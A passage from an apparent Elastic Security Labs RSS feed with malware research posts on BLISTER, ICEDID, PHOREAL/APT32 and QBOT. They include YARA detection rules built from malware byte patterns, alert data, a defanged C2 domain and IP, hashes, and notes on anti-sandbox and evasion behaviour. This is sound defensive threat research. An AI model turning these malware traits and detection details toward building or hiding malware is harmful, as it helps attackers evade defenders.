        reference_sample = &quot;afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2&quot;

    strings:
        $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
        $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
        $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
        $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
        $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
    condition:
        any of them
}
</code></pre>
<h2>References</h2>
<ul>
<li><a href="https://www.elastic.co/pt/blog/elastic-security-uncovers-blister-malware-campaign">https://www.elastic.co/pt/blog/elastic-security-uncovers-blister-malware-campaign</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch&amp;utm_medium=smk&amp;utm_campaign=0422_Socgholish">https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html</a></li>
<li><a href="https://redcanary.com/threat-detection-report/threats/socgholish/">https://redcanary.com/threat-detection-report/threats/socgholish/</a></li>
</ul>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte5a55b99e66b4794/628e88d91cd65960bcff2862/blister-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/blister-loader/blog-thumb-power-lines.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Thawing the permafrost of ICEDID Summary]]></title>
            <link>https://www.elastic.co/pt/security-labs/thawing-the-permafrost-of-icedid-summary</link>
            <guid>thawing-the-permafrost-of-icedid-summary</guid>
            <pubDate>Tue, 21 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, capabilities, and design.]]></description>
            <content:encoded><![CDATA[<p>ICEDID is a malware family first <a href="https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/">described</a> in 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family, but has achieved even more growth since EMOTET’s temporary <a href="https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation">disruption</a> in early 2021. ICEDID has been linked to the distribution of other distinct malware families including <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc">DarkVNC</a> and <a href="https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot">COBALT STRIKE</a>. Regular industry reporting, including research publications like this one, help mitigate this threat.</p>
<p>Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, highlight its capabilities, and deliver insights about how it is designed.</p>
<h3>Execution Chain</h3>
<p>ICEDID employs multiple stages before establishing persistence via a scheduled task and may retrieve components from C2 dynamically. The following diagram illustrates major phases of the ICEDID execution chain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/thawing-the-permafrost-of-icedid-summary/image1.jpg" alt="ICEDID attack chain" /></p>
<h3>Research Paper Overview</h3>
<p>Elastic Security Labs described the full execution chain of a recent ICEDID sample in a detailed research <a href="https://www.elastic.co/pt/pdf/elastic-security-labs-thawing-the-permafrost-of-icedid.pdf">paper</a> hosted at Elastic Security Labs. In addition, we provide a comprehensive analysis of this malware sample and capabilities, including: - Virtualization detection and anti-analysis - C2 polling operations - Shellcode execution methods - Credential access mechanisms - Websocket connections - Installing a web browser proxy to capture all user traffic - Reverse shell and VNC server installation - Certificate pinning - Data validation - ICEDID observable TTPs - Links to useful resources from Elastic</p>
<h3>Detections and preventions</h3>
<h4>Detection logic</h4>
<ul>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/enumeration-of-administrator-accounts.html">Enumeration of Administrator Accounts</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/command-shell-activity-started-via-rundll32.html">Command Shell Activity Started via RunDLL32</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/security-software-discovery-using-wmic.html">Security Software Discovery using WMIC</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/suspicious-execution-from-a-mounted-device.html">Suspicious Execution from a Mounted Device</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/windows-network-enumeration.html">Windows Network Enumeration</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml">Unusual DLL Extension Loaded by Rundll32 or Regsvr32</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_windows_script_interpreter_child_process.toml">Suspicious Windows Script Interpreter Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
</ul>
<h4>Preventions (source: <a href="https://github.com/elastic/protections-artifacts/">https://github.com/elastic/protections-artifacts/</a>)</h4>
<ul>
<li>Malicious Behavior Detection Alert: Command Shell Activity</li>
<li>Memory Threat Detection Alert: Shellcode Injection</li>
<li>Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32</li>
<li>Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process</li>
<li>Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments</li>
<li>Malicious Behavior Detection Alert: Windows Script Execution from Archive File</li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created multiple YARA rules related to the different stages/components within ICEDID infection, these can be found in the signature linked below: - <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_IcedID.yar">Windows.Trojan.ICEDID</a></p>
<hr />
<p>Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries though the publication of detailed detection logic, protections, and applied threat research.</p>
<p>Follow us on @elasticseclabs or visit our research portal for more resources and research.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/thawing-the-permafrost-of-icedid-summary/blog-thumb-tree-icicles.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[PHOREAL Malware Targets the Southeast Asian Financial Sector]]></title>
            <link>https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</link>
            <guid>phoreal-malware-targets-the-southeast-asian-financial-sector</guid>
            <pubDate>Thu, 02 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security discovered PHOREAL malware, which is targeting Southeast Asia financial organizations, particularly those in the Vietnamese financial sector.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.</p>
<h3>What is the threat?</h3>
<p>PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).</p>
<h3>What is the impact?</h3>
<p>APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.</p>
<h3>What is Elastic doing about it?</h3>
<p>Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.</p>
<h2>Investigation Details</h2>
<p>While conducting Threat Discovery &amp; Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.</p>
<p>Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.</p>
<blockquote>
<p>You can read more about Elastic Security’s memory protections <a href="https://www.elastic.co/pt/blog/whats-new-elastic-security-7-15-0#:~:text=Memory%20threat%20protection%20for%20Windows%20endpoints">HERE</a> and about in-memory attacks <a href="https://www.elastic.co/pt/blog/hunting-memory">HERE</a>.</p>
</blockquote>
<p>With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:</p>
<p><strong>Targeted process is a signed Windows binary</strong></p>
<pre><code>...
&quot;process&quot;: {
     &quot;args&quot;: [
       &quot;control.exe&quot;,
       &quot;Firewall.cpl&quot;,
       &quot;{2D48D219-C306-4349-AE1F-09744DFFB5B9}&quot;
     ],
     &quot;Ext&quot;: {
       &quot;code_signature&quot;: [
         {
           &quot;trusted&quot;: true,
           &quot;subject_name&quot;: &quot;Microsoft Windows&quot;,
           &quot;exists&quot;: true,
           &quot;status&quot;: &quot;trusted&quot;
         }
       ],
       &quot;dll&quot;: [
...

</code></pre>
<p><strong>Unsigned loaded .dll</strong></p>
<pre><code>...
   &quot;Ext&quot;: {
     &quot;mapped_address&quot;: 1945501696,
     &quot;mapped_size&quot;: 21135360
   },
   &quot;path&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
   &quot;code_signature&quot;: [
     {
       &quot;exists&quot;: false
     }
   ],
   &quot;name&quot;: &quot;tscon32.dll&quot;,
   &quot;hash&quot;: {
     &quot;sha1&quot;: &quot;007970b7a42852b55379ef4cffa4475865c69d48&quot;,
     &quot;sha256&quot;: &quot;ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33&quot;,
     &quot;md5&quot;: &quot;2b6da20e4fc1af2c5dd5c6f6191936d1&quot;
   }
 },
...

</code></pre>
<p><strong>Starting module from the alerting thread</strong></p>
<pre><code>...
 &quot;pe&quot;: {
   &quot;original_file_name&quot;: &quot;CONTROL.EXE&quot;
 },
 &quot;name&quot;: &quot;control.exe&quot;,
 &quot;pid&quot;: 5284,
 &quot;thread&quot;: {
   &quot;Ext&quot;: {
     &quot;start_address_module&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
...

</code></pre>
<p><strong>Alerting memory region metadata</strong></p>
<pre><code>...
&quot;memory_region&quot;: {`
   &quot;region_size&quot;: 73728,
   &quot;region_protection&quot;: &quot;RWX&quot;,
   &quot;allocation_base&quot;: 81395712,
   &quot;bytes_allocation_offset&quot;: 0,
   &quot;allocation_type&quot;: &quot;PRIVATE&quot;,
   &quot;memory_pe_detected&quot;: true,
   &quot;region_state&quot;: &quot;COMMIT&quot;,
   &quot;strings&quot;: [
     &quot;QSSSSSSh &quot;,
     ...
     &quot;bad cast&quot;,
     &quot;Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;,
     &quot;Netapi32.dll&quot;,
     &quot;NetWkstaGetInfo&quot;,
     &quot;NetApiBufferFree&quot;,
     &quot;\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;,
     &quot;list&lt;T&gt; too long&quot;,
     &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;,
     &quot;DllEntry&quot;,
     ...
     &quot;.?AVbad_alloc@std@@&quot;,
     &quot;C:\\Windows\\syswow64\\control.exe&quot;,
     &quot;:z:zzzzzz7&quot;,
     ...
     &quot;InternalName&quot;,
     &quot;mobsync.exe&quot;,
     &quot;LegalCopyright&quot;,
...

</code></pre>
<p><strong>Thread data for pivoting</strong></p>
<pre><code>...
&quot;thread&quot;: {
 &quot;Ext&quot;: {
   &quot;start_address_bytes&quot;: &quot;8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300&quot;,
   ...
   &quot;start_address_bytes_disasm&quot;: &quot;mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]&quot;
 },
...

</code></pre>
<p>From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.</p>
<p>Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included <a href="https://www.virustotal.com/gui/file/88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de">the below entry</a> first submitted in July 2021.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_matching_start_address_bytes_.jpg" alt="VT result matching start_address_bytes" /></p>
<p>In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (<a href="https://twitter.com/fxb_b">@fxb_b</a>) authored a crowdsourced YARA rule identifying this as the <a href="https://attack.mitre.org/software/S0158/">PHOREAL</a> backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_CONTENT_tab.jpg" alt="VT result CONTENT tab" /></p>
<p>Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.</p>
<p><strong>Converted YARA strings</strong></p>
<pre><code>strings:
          \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

</code></pre>
<p>This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Collecting Cobalt Strike Beacons</a> article.</p>
<p>Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an <a href="https://docs.microsoft.com/en-us/windows/win32/menurc/rcdata-resource">RCDATA resource</a> as described in a <a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">2018 CYLANCE OceanLotus whitepaper</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/RC4_decrypting_binary_embedded_URL.jpg" alt="RC4 decrypting binary embedded URL" /></p>
<p>The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.</p>
<p><strong><a href="https://ipinfo.io/">https://ipinfo.io/</a> query results for 103.75.117[.]250</strong></p>
<pre><code>{
  &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
  &quot;city&quot;: &quot;Hong Kong&quot;,
  &quot;region&quot;: &quot;Central and Western&quot;,
  &quot;country&quot;: &quot;HK&quot;,
  &quot;loc&quot;: &quot;22.2783,114.1747&quot;,
  &quot;org&quot;: &quot;AS133752 Leaseweb Asia Pacific pte. ltd.&quot;,
  &quot;timezone&quot;: &quot;Asia/Hong_Kong&quot;,
  &quot;asn&quot;: {
    &quot;asn&quot;: &quot;AS133752&quot;,
    &quot;name&quot;: &quot;Leaseweb Asia Pacific pte. ltd.&quot;,
    &quot;domain&quot;: &quot;leaseweb.com&quot;,
    &quot;route&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;company&quot;: {
    &quot;name&quot;: &quot;Oneprovider.com - Hong Kong Infrastructure&quot;,
    &quot;domain&quot;: &quot;oneprovider[.]com&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;privacy&quot;: {
    &quot;vpn&quot;: false,
    &quot;proxy&quot;: false,
    &quot;tor&quot;: false,
    &quot;relay&quot;: false,
    &quot;hosting&quot;: true,
    &quot;service&quot;: &quot;&quot;
  },
  &quot;abuse&quot;: {
    &quot;address&quot;: &quot;1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada&quot;,
    &quot;country&quot;: &quot;CA&quot;,
    &quot;email&quot;: &quot;info@oneprovider.com&quot;,
    &quot;name&quot;: &quot;ONE PROVIDER&quot;,
    &quot;network&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;phone&quot;: &quot;+1 514 286-0253&quot;
  },
  &quot;domains&quot;: {
    &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
    &quot;total&quot;: 2,
    &quot;domains&quot;: [
      &quot;thelivemusicgroup[.]com&quot;,
      &quot;cdn-api-cn-1[.]com&quot;
    ]
  }

</code></pre>
<p>Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/https-lookup.jpg" alt="https://lookup.icann.org/lookup for thelivemusicgroup[.]com" /></p>
<p>The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">2017 Mandiant report</a> indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.</p>
<h2>Analysis</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/REF4322_Diamond_Model_Analysis.png" alt="REF4322 Diamond Model Analysis" /></p>
<h3>Adversary Assessment Justification</h3>
<p>We assess with high confidence based on observed activity and previous reporting that REF4322 is <a href="https://attack.mitre.org/groups/G0050/">APT32/OceanLotus</a> and the actor behind this incident. APT32 has been active since 2014 <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">notably targeting</a> Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.</p>
<h2>Conclusion</h2>
<h3>YARA Rules</h3>
<p>We have created a YARA rule to identify this PHOREAL activity.</p>
<p><strong>Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo</strong></p>
<pre><code>rule Windows_Trojan_PHOREAL {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-02-16&quot;
        last_modified = &quot;2022-02-16&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PHOREAL&quot;
        threat_name = &quot;Windows.Trojan.PHOREAL&quot;
        description = &quot;Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo.&quot;
        reference_sample = &quot;88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de&quot;


    strings:
              \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

</code></pre>
<h3>Defensive Recommendations</h3>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Enable Elastic Security Memory Protection on Windows endpoints</li>
<li>Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization</li>
<li>Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.</li>
</ol>
<h3>References</h3>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf</a></li>
<li><a href="https://www.mandiant.com/resources/cyber-espionage-apt32">https://www.mandiant.com/resources/cyber-espionage-apt32</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/tin-woodlawn">https://www.secureworks.com/research/threat-profiles/tin-woodlawn</a></li>
<li><a href="https://attack.mitre.org/software/S0158/">https://attack.mitre.org/software/S0158/</a></li>
<li><a href="https://attack.mitre.org/groups/G0050/">https://attack.mitre.org/groups/G0050/</a></li>
</ul>
<h3>Observables</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>thelivemusicgroup[.]com</td>
<td>domain-name</td>
<td></td>
<td>C2 domain encrypted in malware</td>
</tr>
<tr>
<td>103.75.117[.]250</td>
<td>ipv4-addr</td>
<td></td>
<td>Resolved IP of thelivemusicgroup[.]com</td>
</tr>
<tr>
<td>ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33</td>
<td>SHA256</td>
<td>tscon32.dll</td>
<td>PHOREAL dll</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltecdb2d74a5c6ce1b/628e88d96f81705517a1f25b/phoreal-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/blog-thumb-roman-columns.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[QBOT Malware Analysis]]></title>
            <link>https://www.elastic.co/pt/security-labs/qbot-malware-analysis</link>
            <guid>qbot-malware-analysis</guid>
            <pubDate>Tue, 14 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs releases a QBOT malware analysis report covering the execution chain. From this research, the team has produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs).]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs is releasing a QBOT malware analysis report from a recent <a href="https://www.elastic.co/pt/security-labs/exploring-the-qbot-attack-pattern">campaign</a></li>
<li>This report covers the execution chain from initial infection to communication with its command and control containing details about in depth features such as its injection mechanism and dynamic persistence mechanism.</li>
<li>From this research we produced a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Qbot.yar">YARA rule</a>, <a href="https://www.elastic.co/pt/security-labs/qbot-configuration-extractor">configuration-extractor</a>, and indicators of compromises (IOCs)</li>
</ul>
<h2>Preamble</h2>
<p>As part of our mission to build knowledge about the most common malware families targeting institutions and individuals, the Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking trojan QBOT/QAKBOT V4 from a previously reported <a href="https://www.elastic.co/pt/security-labs/exploring-the-qbot-attack-pattern">campaign</a>.</p>
<p>QBOT — also known as QAKBOT — is a modular Trojan active since 2007 used to download and run binaries on a target machine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the execution flow of the binary from launch to communication with its command and control (C2).</p>
<p>QBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring persistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses, upload and run fileless binaries, and execute shell commands.</p>
<p>As a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static configuration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.</p>
<blockquote>
<p>For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/qbot-configuration-extractor">QBOT Configuration Extractor</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/exploring-the-qbot-attack-pattern">QBOT Attack Pattern</a></li>
</ul>
</blockquote>
<h2>Execution flow</h2>
<p>This section describes the QBOT execution flow in the following three stages:</p>
<ul>
<li>First Stage: Initialization</li>
<li>Second Stage: Installation</li>
<li>Third Stage: Communication</li>
</ul>
<h3>Stage 1</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/1qbot.png" alt="First stage execution flow" /></p>
<p>The sample is executed with the <strong>regsvr32.exe</strong> binary, which in turn will call QBOT’s <strong>DllRegisterServer</strong> export:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/2qbot.png" alt="regsvr32.exe loading QBOT and calling its DllRegisterServer export." /></p>
<p>After execution, QBOT checks if it’s running under the Windows Defender sandbox by checking the existence of a specific subdirectory titled: <strong>C:\INTERNAL\__empty</strong> , if this folder exists, the malware terminates itself:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/qbot-malware-analysis/3qbot.jpg" alt="QBOT checking if it is running and Windows Defender sandbox." /></p>
<p>The malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below contains a list of AV vendors QBOT reacts to:</p>
